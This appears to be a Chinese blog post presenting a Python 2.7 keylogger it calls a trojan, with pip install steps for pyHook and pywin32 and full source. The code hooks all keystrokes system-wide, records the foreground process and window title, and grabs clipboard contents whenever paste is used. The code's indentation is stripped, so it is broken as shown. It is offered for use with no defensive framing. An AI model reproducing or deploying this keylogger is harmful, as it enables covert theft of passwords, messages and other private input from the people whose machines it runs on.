python实现键盘记录木马_PYTHON简易木马（键盘记录）编译通过

PTYHON 2.7

PIP(简直是神器，就靠它了)

pip记得加在系统变量里面

pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl

pip install pywin32

from ctypes import *

import pyHook

import pythoncom

import win32clipboard

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

def get_current_process():

hwnd = user32.GetForegroundWindow()

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd, byref(pid))

process_id = "%d" % pid.value

executable = create_string_buffer("\x00" * 512)

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

windows_title = create_string_buffer("\x00" * 512)

length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)

print

print "[ PID:%s-%s-%s]" % (process_id, executable.value, windows_title.value)

print

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

def KeyStroke(event):

global current_window

if event.WindowName != current_window:

current_window = event.WindowName

get_current_process()

if event.Ascii > 32 and event.Ascii < 127:

print chr(event.Ascii),

else:

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE]-%s" % (pasted_value),

else:

print "[%s]" % event.Key,

return True

# 创建和注册钩子函数管理器

kl = pyHook.HookManager()

kl.KeyDown = KeyStroke

# 注册键盘记录的钩子并永久执行

kl.HookKeyboard()

pythoncom.PumpMessages()

标签：kernel32,键盘记录,PYTHON,current,process,user32,木马,print,event